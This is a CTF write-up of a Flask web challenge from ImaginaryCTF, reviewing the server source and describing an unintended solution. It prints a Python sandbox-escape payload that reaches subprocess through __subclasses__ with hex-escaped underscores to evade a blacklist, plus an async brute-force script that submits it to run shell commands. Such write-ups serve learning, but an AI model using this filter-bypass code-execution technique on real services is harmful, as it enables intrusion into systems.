ImaginaryCTF September 2021 - Most Treacherous Deceiver 3.0

Most Treacherous Deceiver 3.0 Until now you had it easy. Now withness the power of all (or most) MTD aspects combined: Shifting of detection-, attack-, and prevention-surface! I even implemented 'op code shifting'. Now it changes it's keywords and syntax on a regular basis. How awesome is that? :rooAlphaTank:

server.py strange.py http://puzzler7.imaginaryctf.org:9003/

I played ImaginaryCTF recently, which is a CTF where challenges are released daily, with scores resetting every month. The challenges were quite fun and I learned how to solve challenges that are not in my forte, such as Crypto.

This web challenge was one of the harder challenges this month (it was valued at 200 points, while others were at ~100 points). It was quite interesting too, since the intended solution varies largely from my solution.

Initial Source Review

From the source we see that the service is a Flask web application, but with two different instances of Flask:

IP = "127.0.0.1"
server = Flask(__name__)
controller = Flask(__name__)

cache = Cache()
cache.init_app(app=server, config={"CACHE_TYPE": "FileSystemCache", "CACHE_DIR": Path("/tmp")})
last_token = "last_token"
port = "port"        # attack surface
token = "token"      # detection surface
op_code = "op_code"  # prevention surface

# super secure TRNG
m = getPrime(128)
a = randbelow(m)
c = randbelow(m)

# super secure RSA
p = getPrime(1024)
q = getPrime(1024)

One flask instance is the controller, which runs at port 9003, while the other is the server, which runs at a random port. The initialization of the server is also rather strange:

def defender2000():
    controller_process = None
    while True:
        try:
            controller_process = Process(target=start_controller)
            controller_process.start()
            mtd_init()
            sleep(1) # wait for init to complete

            while True:
                mtd_action()

                server_process = Process(target=start_server)
                server_process.start()
                sleep(3)
                server_process.terminate()
                server_process.join()
        ...

So each server only lasts for 3 seconds, after which a new instance of server is created. The different between each instance of server is basically outlined by these functions, mtd_action and mtd_init:

# this is even faster than secrets.randbelow() and still very secure
def next_token(current_token):
    return (a * current_token + c) % m


# RSA and xor?! pliz help
def next_port():
    nonce = int(time()*1000)
    key = randbelow(2**128)
    return (pow(nonce, 0x10001, p*q) ^ nonce) % 2**15 + 2**15


def next_op_code():
    return get_keywords()


def mtd_init():
    with server.app_context():
        cache.set(token, 1)


def mtd_action():
    with server.app_context():
        current_token = cache.get(token)
        cache.set(last_token, current_token)
        cache.set(token, next_token(current_token))
        cache.set(port, next_port())
        cache.set(op_code, next_op_code())

We can see that the token, generated in next_token, is generated successively (indeed, can even be used to find the LCG … which is the intended solution). The controller rarely restarts, so mtd_init is rarely called to reset the token to 1. Why bother with token? Because the goal of this challenge is here:

@server.route("/flag", methods=["GET"])
def get_flag():
    user_token = request.args.get("token")
    current_token = None
    with server.app_context():
        current_token = str(cache.get(token))

    if user_token == current_token:
        return render_template("flag.html")
    else:
        return "<p>Please enter a valid token via /flag?token=*your_token*</p>"

So to get the flag, we need to know the token and the randomized port of the server.

To make it easy for us, the controller provides 2 endpoints that leak the token, but creates a new token immediately.

@controller.route("/token", methods=["POST"])
def check_token():
    ...
    hint = current_token = 0
    with server.app_context():
        hint = cache.get(last_token)
        current_token = cache.get(token)

    if predicted_token != current_token:
        return jsonify({
            "message": "predictedToken did not match the current token",
            "lastToken": hint, # this is just BM, you can't even use it anymore # lies, we actually use this
            "statusCode": 403
        })

    else:
        t = current_token
        for _ in range(int(str(current_token)[1]) + 2):
            t = next_token(t)

        if future_token != t:
            return jsonify({
                "message": "futureToken did not match actual future token",
                "statusCode": 403
            })
        else:
            current_op_code = {}
            with server.app_context():
                current_op_code = cache.get(op_code)
            return jsonify({
                    "message": "Wow, you must be a real hacker. \
                    Plese solve these algos for me, I'll even give you my flag.",
                    "algos": "\n".join([str(a) for a in algos]),
                    "opCode": current_op_code
                })

Furthermore, if you manage to guess the token correctly, it gives the current op_code and algos, which are used in a strange endpoint:

@controller.route("/algo", methods=["POST"])
def check_user_algos():
    if not request.is_json:
        return jsonify({
            "message": "only application/json allowed",
            "hint": "requests.post(*url*, json={*your_data*})",
            "status_code": 400
        })

    user_algos = request.json.get("algos")
    if not user_algos or type(user_algos) is not list or len(user_algos) != 5:
        return jsonify({
            "message": "algos must be of type list and must contain 5 algos",
            "statusCode": 400
        })

    try:
        translation = None
        with server.app_context():
            translation = cache.get(op_code)

        for i in range(len(algos)):
            is_same, user_out = check_submission(user_algos[i], algos[i], translation)
            if not is_same:
                return jsonify({
                        "message": f"Sadly algorithm nr. {i} did not work. I really need them to work, so no flag for you.",
                        "statusCode": 400,
                        "algoOutput": "<REDACTED>",
                        "userOutput": user_out
                    })

        current_port = None
        with server.app_context():
            current_port = cache.get(port)

        return jsonify({
            "message": f":rooPOG: You did it! Here's your flag:",
            "port": current_port
        })
    except BaseException as e:
        return jsonify({
                "message": "Please don't exploit me :rooNobooli:",
                "statusCode": 500,
                "error": str(e)
            })

Looks like this endpoint takes in some array, algos (more on than later) and tries to run it? Seems like an autograder, since the method is called check_submission.

Strange Functions

Before we get to check_submissions, we should probably see this:

normal_keywords = ['False', 'None', 'True', 'and', 'as', 'assert', 'async', 'await', 'break', 'class', 'continue', 'def', 'del', 'elif', 'else', 'except', 'finally', 'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal', 'not', 'or', 'pass', 'raise', 'return', 'try', 'while', 'with', 'yield']
keyword_blacklist = ["import", "with", "as", "from"]
blacklist = ["_", "eval", "exec", "open", "flag", "globals", "builtins"]


def get_keywords(shuffle=True):
  values = normal_keywords.copy()

  if shuffle:
    # super secure shuffle algo
    for i in range(len(values)):
      val = choice(values[i:])
      values.remove(val)
      values.append(val)

  return {key:values.pop() for key in normal_keywords}

What it seems to be doing is just shuffling a list of Python keywords then creating a mapping between the keyword and its shuffled counterpart. This function was used in next_op_code, and the results are saved in mtd_init to op_code, so the shuffling is unique for every server instance.

Okay, more on how this op_code is used in the check_submission method:

def check_submission(user_input, algo, translation):
  user_algo = b64decode(user_input).decode()
  user_algo = translate(user_algo, translation)

  file_name = "".join([choice("0123456789abcdef") for _ in range(32)]) + ".py"
  save_location = "submits/" + file_name
  import_name = save_location[:-3].replace("/", ".")
  pycache_folder = "submits/__pycache__/"

  with open(save_location, "w") as file:
    file.write(user_algo)

  # much IO async, such programmer skillz
  sleep(0.2)
  # if you encounter 'module not found', you got unlucky, just try again (for real)

  # it works so leave me be with "clean code" and "best practices", you can't stop me!
  ret = None
  try:
    m = import_module(import_name)
    ret = algo.check(m.f)
  except BaseException as e:
    ret = False, str(e)

  # remove files; much IO async, such programmer skillz
  sleep(0.2)
  try:
    remove(save_location)
    for f in listdir(pycache_folder):
      remove(path.join(pycache_folder, f))
  except BaseException as e:
    pass

  return ret

From check_user_algos above, we see that this method is called with these arguments:

is_same, user_out = check_submission(user_algos[i], algos[i], translation)

where translation is the current op_code, and algos[i] is each of the 5 elements of the current algos (from the cache), and user_algos[i] is from a parameter (the algos parameter) that we can control.

A brief summary of what the function does is that after calling translate(base64_decode(user_input), op_code), the result is saved in a random file, then imported (and presumably executed, per the autograder idea, then the output is checked according to the alog). This is literally a RCE, so let’s see why this challenge has high points:

def translate(user_function, translation, translate_back=True):
  """
  the user_function should look like the following (with a newline at the end):
  def f(lst):
    ...
    return X

  """

  # it does not matter if the algo hangs, i.e. contains a "while True:"
  # the server just restarts and your submission is not validated!
  # much DoS protection, such wow!

  if len(user_function) > 1000:
    raise Exception("[!]Your submission has to be at most 1000 chars!")

  for word in blacklist:
    if word in user_function:
      raise Exception(f"[!] Word in blacklist: {word}")

  parsed = ""
  current_word = ""
  in_blacklist = False
  end_of_word = False
  contains_return = False

  for c in user_function:
    if c in " \n\t\r\"=':,*/+-{}()[]":
      if current_word in translation:
        current_word = translation[current_word]
        if current_word == "return":
          contains_return = True

      # after translation check if blacklisted!
      if translate_back and current_word in keyword_blacklist:
        raise Exception(f"[!] Word in keyword blacklist: {current_word}")

      end_of_word = False
      parsed += current_word + c
      current_word = ""

    else:
      current_word += c

  if translate_back and not parsed.startswith("def f(lst):\n"):
    raise Exception("[!] Your submission must start with 'def f(lst):\\n'")

  if translate_back and not contains_return:
    raise Exception("[!] Your submission must return something.")

  return parsed

Oh well, here’s where the randomly shuffled op_code comes into play: It maps Python keywords to other keywords.

Our user_input cannot contains words in the blacklist = ["_", "eval", "exec", "open", "flag", "globals", "builtins"], or contain certain keywords such as keyword_blacklist = ["import", "with", "as", "from"]. Furthermore, the user_input must start with def f(lst):\n and contain at least one return.

The issue? def and return are part of the python keywords that are shuffled, so we need to either know the translation (op_code), the intended solution, or guess. But after that? We have RCE as long as do not get hit by the above rules.

There is also an example of a user_input that runs:

def test():
  from base64 import b64encode
  from algo import algos


  test_function = """yield f(lst):
  print("[#] Ex3cut1ng the us3r funct10n.")
  d = {'a': 1}
  maxOddInt = 0
  try l while lst:
    elif type(l) return int not l % 2 == 1 not l > maxOddInt:
      maxOddInt = l
    elif l return lambda with:
      else # ok, strange
    from l:
      class:
        x = 1 / 0
      False BaseException:
        pass
      is:
        None
  print("[#] R3turning fr0m the us3r funct10n.")
  continue maxOddInt
print("[#] Imp0rting the us3r funct10n.")
  """

  test_translation = {
    ...
    'return': 'is',
        ...
    'yield': 'def'
        ...
  }
  test_function = b64encode(test_function.encode()).decode()
  return check_submission(test_function, algos[0], test_translation)

Unintended Solution

We know that the server restarts every 3 seconds, and gets a new value of op_code, and we have 2 keywords to guess. The length of all the keywords is len(normal_keywords) = 35. Thus, we have a 1/35 chance of guessing the correct translation of def, and 1/34 chance of guessing the correct translation of return: which is 1/1190, which are nice odds.

So we can indeed brute-force the server with a guessed opcode but we have to find an efficient way to do it. Python’s request is horrendously slow, so we have to use aiohttp instead. The payload we send has to fit the above requirements as well, and work one-shot.

The payload is the typical python3 SSTI payload, but modified due to the constraints e.g. since _ is banned, I used getattr with encoded strings to access fields.

"''.__class__.__mro__[1].__subclasses__[279]('<some command>', shell=True, stdout=-1).communicate()[0].strip()"

modified to =>

"str(getattr( getattr(getattr('', '__class__'), '__mro__')[1], '__subclasses__' )()[279]('cat templates/fl\\x61g.html', shell=bool(1), stdout=-1).communicate()[0].strip() )".replace("_", "\\x5f")

Note that the constant 279 wildly differs between python versions and can be affected by imports. It needs experimentation if you need to use it for other challenges.

The final solution script is as below:

import requests
from pwn import *
import json
import aiohttp, asyncio, async_timeout

url = "http://puzzler7.imaginaryctf.org:9003/"

normal_keywords = ['False', 'None', 'True', 'and', 'as', 'assert', 'async', 'await', 'break', 'class', 'continue', 'def', 'del', 'elif', 'else', 'except', 'finally', 'for', 'from', 'global', 'if', 'import', 'in', 'is', 'lambda', 'nonlocal', 'not', 'or', 'pass', 'raise', 'return', 'try', 'while', 'with', 'yield']


async def get_url(session, def_kw, return_kw):
    res = ""

    exec = "str(getattr( getattr(getattr('', '__class__'), '__mro__')[1], '__subclasses__' )()[279]('cat templates/fl\\x61g.html', shell=bool(1), stdout=-1).communicate()[0].strip() )".replace("_", "\\x5f")

    algo = f"""{def_kw} f(lst):
        {return_kw} {exec}
    """
    algo = base64.b64encode(algo.encode()).decode()

    async with session.post(url + "algo", json = { "algos": [algo, algo, algo, algo, algo] }) as response:
        while True:
            chunk = await response.content.read(1024)
            if not chunk:
                break
            res += str(chunk)
        await response.release()

    if "ictf" in res:
        print(res)

    return len(res)


async def async_payload_wrapper(async_loop):
    async with aiohttp.ClientSession(loop=async_loop) as session:
        corou_to_execute = [get_url(session, def_kw, return_kw) for return_kw in normal_keywords for def_kw in normal_keywords]
        await asyncio.gather(*corou_to_execute)

if __name__ == '__main__':
    while True:
        event_loop = asyncio.get_event_loop()
        event_loop.run_until_complete(async_payload_wrapper(event_loop))

Intended Solution

LCG is supposedly some Crypto concept, so I haven’t bother reimplementing my solution yet. Other solvers noted that the algos that they received from the server were confusing to implement, so I managed to dodge a bullet ;)

Conclusion

Overall, this was a pretty nice challenge that has quite some unintended solutions (the first solver did RCE too, but after he figured out the LCG and the op_code so that he didn’t have to bruteforce), and was quite nice to solve too. Here’s to wishing for more interesting Web challenges.